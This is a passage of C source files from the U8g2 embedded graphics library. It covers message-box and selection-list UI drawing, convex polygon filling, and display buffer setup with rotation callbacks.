'\0' or '\n' . "title2" accepts the return value from u8x8_GetStringLineStart() title3: Multiple lines,separated by '\n' buttons: one more more buttons separated by '\n' and terminated with '\0' side effects: u8g2_SetFontDirection(u8g2, 0); u8g2_SetFontPosBaseline(u8g2); */ uint8_t u8g2_UserInterfaceMessage(u8g2_t *u8g2, const char *title1, const char *title2, const char *title3, const char *buttons) { uint8_t height; uint8_t line_height; u8g2_uint_t pixel_height; u8g2_uint_t y, yy; uint8_t cursor = 0; uint8_t button_cnt; uint8_t event; /* only horizontal strings are supported, so force this here */ u8g2_SetFontDirection(u8g2, 0); /* force baseline position */ u8g2_SetFontPosBaseline(u8g2); /* calculate line height */ line_height = u8g2_GetAscent(u8g2); line_height -= u8g2_GetDescent(u8g2); /* calculate overall height of the message box in lines*/ height = 1; /* button line */ height += u8x8_GetStringLineCnt(title1); if ( title2 != NULL ) height++; height += u8x8_GetStringLineCnt(title3); /* calculate the height in pixel */ pixel_height = height; pixel_height *= line_height; /* ... and add the space between the text and the buttons */ pixel_height +=SPACE_BETWEEN_TEXT_AND_BUTTONS_IN_PIXEL; /* calculate offset from top */ y = 0; if ( pixel_height < u8g2_GetDisplayHeight(u8g2) ) { y = u8g2_GetDisplayHeight(u8g2); y -= pixel_height; y /= 2; } y += u8g2_GetAscent(u8g2); for(;;) { u8g2_FirstPage(u8g2); do { yy = y; /* draw message box */ yy += u8g2_DrawUTF8Lines(u8g2, 0, yy, u8g2_GetDisplayWidth(u8g2), line_height, title1); if ( title2 != NULL ) { u8g2_DrawUTF8Line(u8g2, 0, yy, u8g2_GetDisplayWidth(u8g2), title2, 0, 0); yy+=line_height; } yy += u8g2_DrawUTF8Lines(u8g2, 0, yy, u8g2_GetDisplayWidth(u8g2), line_height, title3); yy += SPACE_BETWEEN_TEXT_AND_BUTTONS_IN_PIXEL; button_cnt = u8g2_draw_button_line(u8g2, yy, u8g2_GetDisplayWidth(u8g2), cursor, buttons); } while( u8g2_NextPage(u8g2) ); #ifdef U8G2_REF_MAN_PIC return 0; #endif for(;;) { event = u8x8_GetMenuEvent(u8g2_GetU8x8(u8g2)); if ( event == U8X8_MSG_GPIO_MENU_SELECT ) return cursor+1; else if ( event == U8X8_MSG_GPIO_MENU_HOME ) return 0; else if ( event == U8X8_MSG_GPIO_MENU_NEXT || event == U8X8_MSG_GPIO_MENU_DOWN ) { cursor++; if ( cursor >= button_cnt ) cursor = 0; break; } else if ( event == U8X8_MSG_GPIO_MENU_PREV || event == U8X8_MSG_GPIO_MENU_UP ) { if ( cursor == 0 ) cursor = button_cnt; cursor--; break; } } } /* never reached */ //return 0; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8g2_polygon.c ================================================ /* u8g22_polygon.c */ #include "u8g2.h" /*===========================================*/ /* local definitions */ typedef int16_t pg_word_t; struct pg_point_struct { pg_word_t x; pg_word_t y; }; typedef struct _pg_struct pg_struct; /* forward declaration */ struct pg_edge_struct { pg_word_t x_direction; /* 1, if x2 is greater than x1, -1 otherwise */ pg_word_t height; pg_word_t current_x_offset; pg_word_t error_offset; /* --- line loop --- */ pg_word_t current_y; pg_word_t max_y; pg_word_t current_x; pg_word_t error; /* --- outer loop --- */ uint8_t (*next_idx_fn)(pg_struct *pg, uint8_t i); uint8_t curr_idx; }; /* maximum number of points in the polygon */ /* can be redefined, but highest possible value is 254 */ #define PG_MAX_POINTS 6 /* index numbers for the pge structures below */ #define PG_LEFT 0 #define PG_RIGHT 1 struct _pg_struct { struct pg_point_struct list[PG_MAX_POINTS]; uint8_t cnt; uint8_t is_min_y_not_flat; pg_word_t total_scan_line_cnt; struct pg_edge_struct pge[2]; /* left and right line draw structures */ }; /*===========================================*/ /* procedures, which should not be inlined (save as much flash ROM as possible */ #define PG_NOINLINE U8G2_NOINLINE static uint8_t pge_Next(struct pg_edge_struct *pge) PG_NOINLINE; static uint8_t pg_inc(pg_struct *pg, uint8_t i) PG_NOINLINE; static uint8_t pg_dec(pg_struct *pg, uint8_t i) PG_NOINLINE; static void pg_expand_min_y(pg_struct *pg, pg_word_t min_y, uint8_t pge_idx) PG_NOINLINE; static void pg_line_init(pg_struct * const pg, uint8_t pge_index) PG_NOINLINE; /*===========================================*/ /* line draw algorithm */ static uint8_t pge_Next(struct pg_edge_struct *pge) { if ( pge->current_y >= pge->max_y ) return 0; pge->current_x += pge->current_x_offset; pge->error += pge->error_offset; if ( pge->error > 0 ) { pge->current_x += pge->x_direction; pge->error -= pge->height; } pge->current_y++; return 1; } /* assumes y2 > y1 */ static void pge_Init(struct pg_edge_struct *pge, pg_word_t x1, pg_word_t y1, pg_word_t x2, pg_word_t y2) { pg_word_t dx = x2 - x1; pg_word_t width; pge->height = y2 - y1; pge->max_y = y2; pge->current_y = y1; pge->current_x = x1; if ( dx >= 0 ) { pge->x_direction = 1; width = dx; pge->error = 0; } else { pge->x_direction = -1; width = -dx; pge->error = 1 - pge->height; } pge->current_x_offset = dx / pge->height; pge->error_offset = width % pge->height; } /*===========================================*/ /* convex polygon algorithm */ static uint8_t pg_inc(pg_struct *pg, uint8_t i) { i++; if ( i >= pg->cnt ) i = 0; return i; } static uint8_t pg_dec(pg_struct *pg, uint8_t i) { i--; if ( i >= pg->cnt ) i = pg->cnt-1; return i; } static void pg_expand_min_y(pg_struct *pg, pg_word_t min_y, uint8_t pge_idx) { uint8_t i = pg->pge[pge_idx].curr_idx; for(;;) { i = pg->pge[pge_idx].next_idx_fn(pg, i); if ( pg->list[i].y != min_y ) break; pg->pge[pge_idx].curr_idx = i; } } static uint8_t pg_prepare(pg_struct *pg) { pg_word_t max_y; pg_word_t min_y; uint8_t i; /* setup the next index procedures */ pg->pge[PG_RIGHT].next_idx_fn = pg_inc; pg->pge[PG_LEFT].next_idx_fn = pg_dec; /* search for highest and lowest point */ max_y = pg->list[0].y; min_y = pg->list[0].y; pg->pge[PG_LEFT].curr_idx = 0; for( i = 1; i < pg->cnt; i++ ) { if ( max_y < pg->list[i].y ) { max_y = pg->list[i].y; } if ( min_y > pg->list[i].y ) { pg->pge[PG_LEFT].curr_idx = i; min_y = pg->list[i].y; } } /* calculate total number of scan lines */ pg->total_scan_line_cnt = max_y; pg->total_scan_line_cnt -= min_y; /* exit if polygon height is zero */ if ( pg->total_scan_line_cnt == 0 ) return 0; /* if the minimum y side is flat, try to find the lowest and highest x points */ pg->pge[PG_RIGHT].curr_idx = pg->pge[PG_LEFT].curr_idx; pg_expand_min_y(pg, min_y, PG_RIGHT); pg_expand_min_y(pg, min_y, PG_LEFT); /* check if the min side is really flat (depends on the x values) */ pg->is_min_y_not_flat = 1; if ( pg->list[pg->pge[PG_LEFT].curr_idx].x != pg->list[pg->pge[PG_RIGHT].curr_idx].x ) { pg->is_min_y_not_flat = 0; } else { pg->total_scan_line_cnt--; if ( pg->total_scan_line_cnt == 0 ) return 0; } return 1; } static void pg_hline(pg_struct *pg, u8g2_t *u8g2) { pg_word_t x1, x2, y; x1 = pg->pge[PG_LEFT].current_x; x2 = pg->pge[PG_RIGHT].current_x; y = pg->pge[PG_RIGHT].current_y; if ( y < 0 ) return; if ( y >= (pg_word_t)u8g2_GetDisplayHeight(u8g2) ) // does not work for 256x64 display??? return; if ( x1 < x2 ) { if ( x2 < 0 ) return; if ( x1 >= (pg_word_t)u8g2_GetDisplayWidth(u8g2) ) return; if ( x1 < 0 ) x1 = 0; if ( x2 >= (pg_word_t)u8g2_GetDisplayWidth(u8g2) ) x2 = u8g2_GetDisplayWidth(u8g2); u8g2_DrawHLine(u8g2, x1, y, x2 - x1); } else { if ( x1 < 0 ) return; if ( x2 >= (pg_word_t)u8g2_GetDisplayWidth(u8g2) ) return; if ( x2 < 0 ) x1 = 0; if ( x1 >= (pg_word_t)u8g2_GetDisplayWidth(u8g2) ) x1 = u8g2_GetDisplayWidth(u8g2); u8g2_DrawHLine(u8g2, x2, y, x1 - x2); } } static void pg_line_init(pg_struct * const pg, uint8_t pge_index) { struct pg_edge_struct *pge = pg->pge+pge_index; uint8_t idx; pg_word_t x1; pg_word_t y1; pg_word_t x2; pg_word_t y2; idx = pge->curr_idx; y1 = pg->list[idx].y; x1 = pg->list[idx].x; idx = pge->next_idx_fn(pg, idx); y2 = pg->list[idx].y; x2 = pg->list[idx].x; pge->curr_idx = idx; pge_Init(pge, x1, y1, x2, y2); } static void pg_exec(pg_struct *pg, u8g2_t *u8g2) { pg_word_t i = pg->total_scan_line_cnt; /* first line is skipped if the min y line is not flat */ pg_line_init(pg, PG_LEFT); pg_line_init(pg, PG_RIGHT); if ( pg->is_min_y_not_flat != 0 ) { pge_Next(&(pg->pge[PG_LEFT])); pge_Next(&(pg->pge[PG_RIGHT])); } do { pg_hline(pg, u8g2); while ( pge_Next(&(pg->pge[PG_LEFT])) == 0 ) { pg_line_init(pg, PG_LEFT); } while ( pge_Next(&(pg->pge[PG_RIGHT])) == 0 ) { pg_line_init(pg, PG_RIGHT); } i--; } while( i > 0 ); } /*===========================================*/ /* API procedures */ static void pg_ClearPolygonXY(pg_struct *pg) { pg->cnt = 0; } static void pg_AddPolygonXY(pg_struct *pg, int16_t x, int16_t y) { if ( pg->cnt < PG_MAX_POINTS ) { pg->list[pg->cnt].x = x; pg->list[pg->cnt].y = y; pg->cnt++; } } static void pg_DrawPolygon(pg_struct *pg, u8g2_t *u8g2) { if ( pg_prepare(pg) == 0 ) return; pg_exec(pg, u8g2); } pg_struct u8g2_pg; void u8g2_ClearPolygonXY(void) { pg_ClearPolygonXY(&u8g2_pg); } void u8g2_AddPolygonXY(U8X8_UNUSED u8g2_t *u8g2, int16_t x, int16_t y) { pg_AddPolygonXY(&u8g2_pg, x, y); } void u8g2_DrawPolygon(u8g2_t *u8g2) { pg_DrawPolygon(&u8g2_pg, u8g2); } void u8g2_DrawTriangle(u8g2_t *u8g2, int16_t x0, int16_t y0, int16_t x1, int16_t y1, int16_t x2, int16_t y2) { u8g2_ClearPolygonXY(); u8g2_AddPolygonXY(u8g2, x0, y0); u8g2_AddPolygonXY(u8g2, x1, y1); u8g2_AddPolygonXY(u8g2, x2, y2); u8g2_DrawPolygon(u8g2); } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8g2_selection_list.c ================================================ /* u8g2_selection_list.c selection list with scroll option Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8g2.h" #define MY_BORDER_SIZE 1 /* Draw a string at x,y Center string within w (left adjust if w < pixel len of s) Side effects: u8g2_SetFontDirection(u8g2, 0); u8g2_SetFontPosBaseline(u8g2); */ void u8g2_DrawUTF8Line(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, const char *s, uint8_t border_size, uint8_t is_invert) { u8g2_uint_t d, str_width; u8g2_uint_t fx, fy, fw, fh; /* only horizontal strings are supported, so force this here */ u8g2_SetFontDirection(u8g2, 0); /* revert y position back to baseline ref */ y += u8g2->font_calc_vref(u8g2); /* calculate the width of the string in pixel */ str_width = u8g2_GetUTF8Width(u8g2, s); /* calculate delta d within the box */ d = 0; if ( str_width < w ) { d = w; d -=str_width; d /= 2; } else { w = str_width; } /* caluclate text box */ fx = x; fy = y - u8g2_GetAscent(u8g2) ; fw = w; fh = u8g2_GetAscent(u8g2) - u8g2_GetDescent(u8g2) ; /* draw the box, if inverted */ u8g2_SetDrawColor(u8g2, 1); if ( is_invert ) { u8g2_DrawBox(u8g2, fx, fy, fw, fh); } /* draw the frame */ while( border_size > 0 ) { fx--; fy--; fw +=2; fh +=2; u8g2_DrawFrame(u8g2, fx, fy, fw, fh ); border_size--; } if ( is_invert ) { u8g2_SetDrawColor(u8g2, 0); } else { u8g2_SetDrawColor(u8g2, 1); } /* draw the text */ u8g2_DrawUTF8(u8g2, x+d, y, s); /* revert draw color */ u8g2_SetDrawColor(u8g2, 1); } /* draw several lines at position x,y. lines are stored in s and must be separated with '\n'. lines can be centered with respect to "w" if s == NULL nothing is drawn and 0 is returned returns the number of lines in s multiplied with line_height */ u8g2_uint_t u8g2_DrawUTF8Lines(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t line_height, const char *s) { uint8_t i; uint8_t cnt; u8g2_uint_t yy = 0; cnt = u8x8_GetStringLineCnt(s); //printf("str=%s\n", s); //printf("cnt=%d, y=%d, line_height=%d\n", cnt, y, line_height); for( i = 0; i < cnt; i++ ) { //printf(" i=%d, y=%d, line_height=%d\n", i, y, line_height); u8g2_DrawUTF8Line(u8g2, x, y, w, u8x8_GetStringLineStart(i, s), 0, 0); y+=line_height; yy+=line_height; } return yy; } /* selection list with string line returns line height */ static u8g2_uint_t u8g2_draw_selection_list_line(u8g2_t *u8g2, u8sl_t *u8sl, u8g2_uint_t y, uint8_t idx, const char *s) U8G2_NOINLINE; static u8g2_uint_t u8g2_draw_selection_list_line(u8g2_t *u8g2, u8sl_t *u8sl, u8g2_uint_t y, uint8_t idx, const char *s) { //u8g2_uint_t yy; uint8_t border_size = 0; uint8_t is_invert = 0; u8g2_uint_t line_height = u8g2_GetAscent(u8g2) - u8g2_GetDescent(u8g2)+MY_BORDER_SIZE; /* calculate offset from display upper border */ //yy = idx; //yy -= u8sl->first_pos; //yy *= line_height; //yy += y; /* check whether this is the current cursor line */ if ( idx == u8sl->current_pos ) { border_size = MY_BORDER_SIZE; is_invert = 1; } /* get the line from the array */ s = u8x8_GetStringLineStart(idx, s); /* draw the line */ if ( s == NULL ) s = ""; u8g2_DrawUTF8Line(u8g2, MY_BORDER_SIZE, y, u8g2_GetDisplayWidth(u8g2)-2*MY_BORDER_SIZE, s, border_size, is_invert); return line_height; } void u8g2_DrawSelectionList(u8g2_t *u8g2, u8sl_t *u8sl, u8g2_uint_t y, const char *s) { uint8_t i; for( i = 0; i < u8sl->visible; i++ ) { y += u8g2_draw_selection_list_line(u8g2, u8sl, y, i+u8sl->first_pos, s); } } /* title: NULL for no title, valid str for title line. Can contain mutliple lines, separated by '\n' start_pos: default position for the cursor, first line is 1. sl: string list (list of strings separated by \n) returns 0 if user has pressed the home key returns the selected line if user has pressed the select key side effects: u8g2_SetFontDirection(u8g2, 0); u8g2_SetFontPosBaseline(u8g2); */ uint8_t u8g2_UserInterfaceSelectionList(u8g2_t *u8g2, const char *title, uint8_t start_pos, const char *sl) { u8sl_t u8sl; u8g2_uint_t yy; uint8_t event; u8g2_uint_t line_height = u8g2_GetAscent(u8g2) - u8g2_GetDescent(u8g2)+MY_BORDER_SIZE; uint8_t title_lines = u8x8_GetStringLineCnt(title); uint8_t display_lines; if ( start_pos > 0 ) /* issue 112 */ start_pos--; /* issue 112 */ if ( title_lines > 0 ) { display_lines = (u8g2_GetDisplayHeight(u8g2)-3) / line_height; u8sl.visible = display_lines; u8sl.visible -= title_lines; } else { display_lines = u8g2_GetDisplayHeight(u8g2) / line_height; u8sl.visible = display_lines; } u8sl.total = u8x8_GetStringLineCnt(sl); u8sl.first_pos = 0; u8sl.current_pos = start_pos; if ( u8sl.current_pos >= u8sl.total ) u8sl.current_pos = u8sl.total-1; if ( u8sl.first_pos+u8sl.visible <= u8sl.current_pos ) u8sl.first_pos = u8sl.current_pos-u8sl.visible+1; u8g2_SetFontPosBaseline(u8g2); for(;;) { u8g2_FirstPage(u8g2); do { yy = u8g2_GetAscent(u8g2); if ( title_lines > 0 ) { yy += u8g2_DrawUTF8Lines(u8g2, 0, yy, u8g2_GetDisplayWidth(u8g2), line_height, title); u8g2_DrawHLine(u8g2, 0, yy-line_height- u8g2_GetDescent(u8g2) + 1, u8g2_GetDisplayWidth(u8g2)); yy += 3; } u8g2_DrawSelectionList(u8g2, &u8sl, yy, sl); } while( u8g2_NextPage(u8g2) ); #ifdef U8G2_REF_MAN_PIC return 0; #endif for(;;) { event = u8x8_GetMenuEvent(u8g2_GetU8x8(u8g2)); if ( event == U8X8_MSG_GPIO_MENU_SELECT ) return u8sl.current_pos+1; /* +1, issue 112 */ else if ( event == U8X8_MSG_GPIO_MENU_HOME ) return 0; /* issue 112: return 0 instead of start_pos */ else if ( event == U8X8_MSG_GPIO_MENU_NEXT || event == U8X8_MSG_GPIO_MENU_DOWN ) { u8sl_Next(&u8sl); break; } else if ( event == U8X8_MSG_GPIO_MENU_PREV || event == U8X8_MSG_GPIO_MENU_UP ) { u8sl_Prev(&u8sl); break; } } } } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8g2_setup.c ================================================ /* u8g2_setup.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8g2.h" #include #include /*============================================*/ #ifdef U8G2_WITH_CLIP_WINDOW_SUPPORT void u8g2_SetMaxClipWindow(u8g2_t *u8g2) { u8g2->clip_x0 = 0; u8g2->clip_y0 = 0; u8g2->clip_x1 = (u8g2_uint_t)~(u8g2_uint_t)0; u8g2->clip_y1 = (u8g2_uint_t)~(u8g2_uint_t)0; u8g2->cb->update_page_win(u8g2); } void u8g2_SetClipWindow(u8g2_t *u8g2, u8g2_uint_t clip_x0, u8g2_uint_t clip_y0, u8g2_uint_t clip_x1, u8g2_uint_t clip_y1 ) { u8g2->clip_x0 = clip_x0; u8g2->clip_y0 = clip_y0; u8g2->clip_x1 = clip_x1; u8g2->clip_y1 = clip_y1; u8g2->cb->update_page_win(u8g2); } #endif /*============================================*/ /* This procedure is called after setting up the display (u8x8 structure). --> This is the central init procedure for u8g2 object */ void u8g2_SetupBuffer(u8g2_t *u8g2, uint8_t *buf, uint8_t tile_buf_height, u8g2_draw_ll_hvline_cb ll_hvline_cb, const u8g2_cb_t *u8g2_cb) { u8g2->font = NULL; //u8g2->kerning = NULL; //u8g2->get_kerning_cb = u8g2_GetNullKerning; //u8g2->ll_hvline = u8g2_ll_hvline_vertical_top_lsb; u8g2->ll_hvline = ll_hvline_cb; u8g2->tile_buf_ptr = buf; u8g2->tile_buf_height = tile_buf_height; u8g2->tile_curr_row = 0; u8g2->font_decode.is_transparent = 0; /* issue 443 */ u8g2->bitmap_transparency = 0; u8g2->font_height_mode = 0; /* issue 2046 */ u8g2->draw_color = 1; u8g2->is_auto_page_clear = 1; u8g2->cb = u8g2_cb; u8g2->cb->update_dimension(u8g2); #ifdef U8G2_WITH_CLIP_WINDOW_SUPPORT u8g2_SetMaxClipWindow(u8g2); /* assign a clip window and call the update() procedure */ #else u8g2->cb->update_page_win(u8g2); #endif u8g2_SetFontPosBaseline(u8g2); /* issue 195 */ #ifdef U8G2_WITH_FONT_ROTATION u8g2->font_decode.dir = 0; #endif } /* Usually the display rotation is set initially, but it could be done later also u8g2_cb can be U8G2_R0..U8G2_R3 */ void u8g2_SetDisplayRotation(u8g2_t *u8g2, const u8g2_cb_t *u8g2_cb) { u8g2->cb = u8g2_cb; u8g2->cb->update_dimension(u8g2); u8g2->cb->update_page_win(u8g2); } /*============================================*/ void u8g2_SendF(u8g2_t * u8g2, const char *fmt, ...) { va_list va; va_start(va, fmt); u8x8_cad_vsendf(u8g2_GetU8x8(u8g2), fmt, va); va_end(va); } /*============================================*/ /* update dimension: calculate the following variables: u8g2_uint_t buf_x0; left corner of the buffer u8g2_uint_t buf_x1; right corner of the buffer (excluded) u8g2_uint_t buf_y0; u8g2_uint_t buf_y1; */ static void u8g2_update_dimension_common(u8g2_t *u8g2) { const u8x8_display_info_t *display_info = u8g2_GetU8x8(u8g2)->display_info; u8g2_uint_t t; t = u8g2->tile_buf_height; t *= 8; u8g2->pixel_buf_height = t; t = display_info->tile_width; #ifndef U8G2_16BIT if ( t >= 32 ) t = 31; #endif t *= 8; u8g2->pixel_buf_width = t; t = u8g2->tile_curr_row; t *= 8; u8g2->pixel_curr_row = t; t = u8g2->tile_buf_height; /* handle the case, where the buffer is larger than the (remaining) part of the display */ if ( t + u8g2->tile_curr_row > display_info->tile_height ) t = display_info->tile_height - u8g2->tile_curr_row; t *= 8; u8g2->buf_y0 = u8g2->pixel_curr_row; u8g2->buf_y1 = u8g2->buf_y0; u8g2->buf_y1 += t; #ifdef U8G2_16BIT u8g2->width = display_info->pixel_width; u8g2->height = display_info->pixel_height; #else u8g2->width = 240; if ( display_info->pixel_width <= 240 ) u8g2->width = display_info->pixel_width; u8g2->height = display_info->pixel_height; #endif } /*==========================================================*/ /* apply clip window */ #ifdef U8G2_WITH_CLIP_WINDOW_SUPPORT static void u8g2_apply_clip_window(u8g2_t *u8g2) { /* check aganst the current user_??? window */ if ( u8g2_IsIntersection(u8g2, u8g2->clip_x0, u8g2->clip_y0, u8g2->clip_x1, u8g2->clip_y1) == 0 ) { u8g2->is_page_clip_window_intersection = 0; } else { u8g2->is_page_clip_window_intersection = 1; if ( u8g2->user_x0 < u8g2->clip_x0 ) u8g2->user_x0 = u8g2->clip_x0; if ( u8g2->user_x1 > u8g2->clip_x1 ) u8g2->user_x1 = u8g2->clip_x1; if ( u8g2->user_y0 < u8g2->clip_y0 ) u8g2->user_y0 = u8g2->clip_y0; if ( u8g2->user_y1 > u8g2->clip_y1 ) u8g2->user_y1 = u8g2->clip_y1; } } #endif /* U8G2_WITH_CLIP_WINDOW_SUPPORT */ /*==========================================================*/ void u8g2_update_dimension_r0(u8g2_t *u8g2) { u8g2_update_dimension_common(u8g2); } void u8g2_update_page_win_r0(u8g2_t *u8g2) { u8g2->user_x0 = 0; u8g2->user_x1 = u8g2->width; /* pixel_buf_width replaced with width */ u8g2->user_y0 = u8g2->buf_y0; u8g2->user_y1 = u8g2->buf_y1; #ifdef U8G2_WITH_CLIP_WINDOW_SUPPORT u8g2_apply_clip_window(u8g2); #endif /* U8G2_WITH_CLIP_WINDOW_SUPPORT */ } void u8g2_update_dimension_r1(u8g2_t *u8g2) { u8g2_update_dimension_common(u8g2); u8g2->height = u8g2_GetU8x8(u8g2)->display_info->pixel_width; u8g2->width = u8g2_GetU8x8(u8g2)->display_info->pixel_height; } void u8g2_update_page_win_r1(u8g2_t *u8g2) { u8g2->user_x0 = u8g2->buf_y0; u8g2->user_x1 = u8g2->buf_y1; u8g2->user_y0 = 0; u8g2->user_y1 = u8g2->height; /* pixel_buf_width replaced with height (which is the real pixel width) */ #ifdef U8G2_WITH_CLIP_WINDOW_SUPPORT u8g2_apply_clip_window(u8g2); #endif /* U8G2_WITH_CLIP_WINDOW_SUPPORT */ } void u8g2_update_dimension_r2(u8g2_t *u8g2) { u8g2_update_dimension_common(u8g2); } void u8g2_update_page_win_r2(u8g2_t *u8g2) { u8g2->user_x0 = 0; u8g2->user_x1 = u8g2->width; /* pixel_buf_width replaced with width */ /* there are ases where the height is not a multiple of 8. */ /* in such a case u8g2->buf_y1 might be heigher than u8g2->height */ u8g2->user_y0 = 0; if ( u8g2->height >= u8g2->buf_y1 ) u8g2->user_y0 = u8g2->height - u8g2->buf_y1; u8g2->user_y1 = u8g2->height - u8g2->buf_y0; #ifdef U8G2_WITH_CLIP_WINDOW_SUPPORT u8g2_apply_clip_window(u8g2); #endif /* U8G2_WITH_CLIP_WINDOW_SUPPORT */ } void u8g2_update_dimension_r3(u8g2_t *u8g2) { u8g2_update_dimension_common(u8g2); u8g2->height = u8g2_GetU8x8(u8g2)->display_info->pixel_width; u8g2->width = u8g2_GetU8x8(u8g2)->display_info->pixel_height; } void u8g2_update_page_win_r3(u8g2_t *u8g2) { /* there are ases where the height is not a multiple of 8. */ /* in such a case u8g2->buf_y1 might be heigher than u8g2->width */ u8g2->user_x0 = 0; if ( u8g2->width >= u8g2->buf_y1 ) u8g2->user_x0 = u8g2->width - u8g2->buf_y1; u8g2->user_x1 = u8g2->width - u8g2->buf_y0; u8g2->user_y0 = 0; u8g2->user_y1 = u8g2->height; /* pixel_buf_width replaced with height (pixel_width) */ #ifdef U8G2_WITH_CLIP_WINDOW_SUPPORT u8g2_apply_clip_window(u8g2); #endif /* U8G2_WITH_CLIP_WINDOW_SUPPORT */ } /*============================================*/ extern void u8g2_draw_hv_line_2dir(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir); void u8g2_draw_l90_r0(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir) { #ifdef __unix assert( dir <= 1 ); #endif u8g2_draw_hv_line_2dir(u8g2, x, y, len, dir); } void u8g2_draw_l90_mirrorr_r0(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir) { u8g2_uint_t xx; xx = u8g2->width; xx -= x; if ( (dir & 1) == 0 ) { xx -= len; } else { xx--; } u8g2_draw_hv_line_2dir(u8g2, xx, y, len, dir); } void u8g2_draw_mirror_vertical_r0(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir) { u8g2_uint_t yy; yy = u8g2->height; yy -= y; if ( (dir & 1) == 1 ) { yy -= len; } else { yy--; } u8g2_draw_hv_line_2dir(u8g2, x, yy, len, dir); } /* dir = 0 or 1 */ void u8g2_draw_l90_r1(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir) { u8g2_uint_t xx, yy; #ifdef __unix assert( dir <= 1 ); #endif yy = x; xx = u8g2->height; xx -= y; xx--; dir ++; if ( dir == 2 ) { xx -= len; xx++; dir = 0; } u8g2_draw_hv_line_2dir(u8g2, xx, yy, len, dir); } void u8g2_draw_l90_r2(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir) { u8g2_uint_t xx, yy; /* yy = u8g2->height; yy -= y; yy--; xx = u8g2->width; xx -= x; xx--; if ( dir == 0 ) { xx -= len; xx++; } else if ( dir == 1 ) { yy -= len; yy++; } */ yy = u8g2->height; yy -= y; xx = u8g2->width; xx -= x; if ( dir == 0 ) { yy--; xx -= len; } else if ( dir == 1 ) { xx--; yy -= len; } u8g2_draw_hv_line_2dir(u8g2, xx, yy, len, dir); } void u8g2_draw_l90_r3(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir) { u8g2_uint_t xx, yy; xx = y; yy = u8g2->width; yy -= x; if ( dir == 0 ) { yy--; yy -= len; yy++; dir = 1; } else { yy--; dir = 0; } u8g2_draw_hv_line_2dir(u8g2, xx, yy, len, dir); } /*============================================*/ const u8g2_cb_t u8g2_cb_r0 = { u8g2_update_dimension_r0, u8g2_update_page_win_r0, u8g2_draw_l90_r0 }; const u8g2_cb_t u8g2_cb_r1 = { u8g2_update_dimension_r1, u8g2_update_page_win_r1, u8g2_draw_l90_r1 }; const u8g2_cb_t u8g2_cb_r2 = { u8g2_update_dimension_r2, u8g2_update_page_win_r2, u8g2_draw_l90_r2 }; const u8g2_cb_t u8g2_cb_r3 = { u8g2_update_dimension_r3, u8g2_update_page_win_r3, u8g2_draw_l90_r3 }; const u8g2_cb_t u8g2_cb_mirror = { u8g2_update_dimension_r0, u8g2_update_page_win_r0, u8g2_draw_l90_mirrorr_r0 }; const u8g2_cb_t u8g2_cb_mirror_vertical = { u8g2_update_dimension_r0, u8g2_update_page_win_r0, u8g2_draw_mirror_vertical_r0 }; 